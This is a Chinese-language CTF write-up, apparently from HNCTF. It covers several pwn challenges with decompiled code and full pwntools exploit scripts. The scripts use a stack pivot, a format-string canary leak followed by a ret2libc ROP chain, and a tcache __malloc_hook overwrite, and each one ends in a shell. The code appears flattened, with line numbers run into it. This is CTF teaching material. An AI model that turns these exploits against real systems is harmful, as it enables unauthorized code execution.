pwn附件下载
close
main反编译出来的伪代码有一个close(1),接下来就直接给shell了
main:
1 2 3 close(1 ); system("/bin/sh" ); return 0 ;
close(1) 关闭标准输出
close(2) 关闭标准错误输出
exec命令的介绍
1,通过文件描述符打开或关闭文件。
2,将文件重定向到标准输入,及将标准输出重定向到文件。
3,exec命令重新设置了I/O重定向,要恢复为原来的I/O指向,还得需要使用exec命令显示指定。
exec用法:
&n :代表描述符代表的文件。
< :代表以什么形式使用描述符。
exec 8<&2 :描述符8以读取方式打开标准错误对应的文件。
exec &>log:把标准输入错误打开文件log。
exec 8<&- :关闭描述符8。
exp:
ez_pwn
这套题和ciscn_2019_es_2高度相似
具体可以参考先知社区的一篇写的非常好的介绍栈迁移 的文章
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *context(arch='i386' ) p = remote('hnctf.imxbt.cn' ,29972 ) leave_ret = 0x08048562 system_addr = 0x08048400 p.send(b"a" *0x2B +b'b' ) p.recvuntil(b'b' ) ebp_addr = u32(p.recv(4 )) print (hex (ebp_addr))stack = ebp_addr-0x38 payload = p32(0x1 )+p32(system_addr)+p32(0x1 )+p32(stack+0x10 )+b"/bin/sh\x00" payload = payload.ljust(0x2C ,b'a' ) payload += p32(stack)+p32(leave_ret) p.send(payload) p.interactive()
idea
vuln:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 int vuln () { int v1; char nptr[32 ]; unsigned int v3; v3 = __readgsdword(0x14 u); printf ("How many bytes do you want me to read? " ); get_n(nptr, 4 ); v1 = atoi(nptr); if ( v1 > 32 ) return printf ("No! That size (%d) is too large!\n" , v1); puts ("Ok, sounds good. I'll give u a gift!" ); gift(); printf ("Give me %u bytes of data!\n" , v1); getchar(); get_n(nptr, v1); return printf ("What you said is: %s\n" , nptr); }
首先第一步可以通过输入-1造成负整数溢出
后进入gift函数
gift
1 2 3 4 5 6 7 8 9 10 11 unsigned int gift () { char format[8 ]; unsigned int v2; v2 = __readgsdword(0x14 u); __isoc99_scanf("%6s" , format); printf (format); fflush(0 ); return __readgsdword(0x14 u) ^ v2; }
是一个很明显的格式化字符串的漏洞
通过其泄露canary地址
后构造rop链
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from pwn import *from LibcSearcher import *context(os='linux' , arch='i386' , log_level='debug' ) io = process('./idea' ) elf = ELF('./idea' ) atoi_got_addr = elf.got['atoi' ] puts_plt_addr = elf.plt['puts' ] vuln_addr = elf.symbols['vuln' ] padding = 0x20 io.recvuntil(b'read? ' ) io.sendline(b'-1' ) payload = b"%7$p" io.recvuntil(b'gift!\n' ) io.sendline(payload) canary_addr = io.recv(10 ) canary = int (canary_addr, 16 ) print (hex (canary))leak_payload = b'a' * padding + p32(canary) + b'a' * 0xc leak_payload += p32(puts_plt_addr) + p32(vuln_addr) + p32(atoi_got_addr) io.recvuntil(b'data!\n' ) io.sendline(leak_payload) io.recvline() atoi_addr = u32(io.recv(4 )) log.success('leak_atoi_real_addr => {}' .format (hex (atoi_addr))) libc = LibcSearcher("atoi" ,atoi_addr) libcbase = atoi_addr - libc.dump('atoi' ) system_addr = libcbase + libc.dump('system' ) str_bin_sh = libcbase + libc.dump('str_bin_sh' ) payload2 = b'a' * padding + p32(canary) + b'a' * 0xc + p32(system_addr) + p32(0 ) + p32(str_bin_sh) io.recvuntil(b'read? ' ) io.sendline(b'-1' ) io.sendline(b'%7$p' ) io.recvuntil(b'data!\n' ) io.sendline(payload2) io.interactive()
What
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 from pwn import *from struct import packfrom ctypes import *import sysimport base64s = lambda content : p.send(content) sl = lambda content : p.sendline(content) sa = lambda content,send : p.sendafter(content, send) sla = lambda content,send : p.sendlineafter(content, send) rc = lambda number : p.recv(number) ru = lambda content : p.recvuntil(content) pr = lambda name,x : log.info(name+':' +hex (x)) def inter (): p.interactive() def debug (): gdb.attach(p) pause() def get_addr (): return u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin\x00' )) p = remote('hnctf.imxbt.cn' ,24658 ) context(log_level='debug' ,arch='amd64' , os='linux' ) libc=ELF("libc-2.27.so" ) def allo (size ): p.recvuntil("command:" ) p.sendline(str (1 )) p.recvuntil("size" ) p.sendline(str (size)) def edit (idx,content ): p.recvuntil("command:" ) p.sendline(str (4 )) p.recvuntil("idx:" ) p.sendline(str (idx)) p.recvuntil("content:" ) p.sendline(content) def free (): p.recvuntil("command:" ) p.sendline(str (2 )) def show (idx ): p.recvuntil("command:" ) p.sendline(str (3 )) p.recvuntil("idx:" ) p.sendline(str (idx)) allo(0x410 ) allo(0x20 ) free() free() show(0 ) main_arena = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) - 96 malloc_hook = main_arena -0x10 libcbase= malloc_hook-libc.sym['__malloc_hook' ] print (' main_arena -> ' , hex (main_arena))print ('libcbase->' ,hex (libcbase))allo(0x20 ) free() edit(0 ,p64(malloc_hook)) allo(0x20 ) allo(0x20 ) edit(0 ,b'bbbbbbbb' ) edit(1 ,p64(libcbase+0x10a2fc )) allo(0x20 ) p.interactive()
beauty
hide_flag_🦐
Rand_file_😈
Appetizers_🥕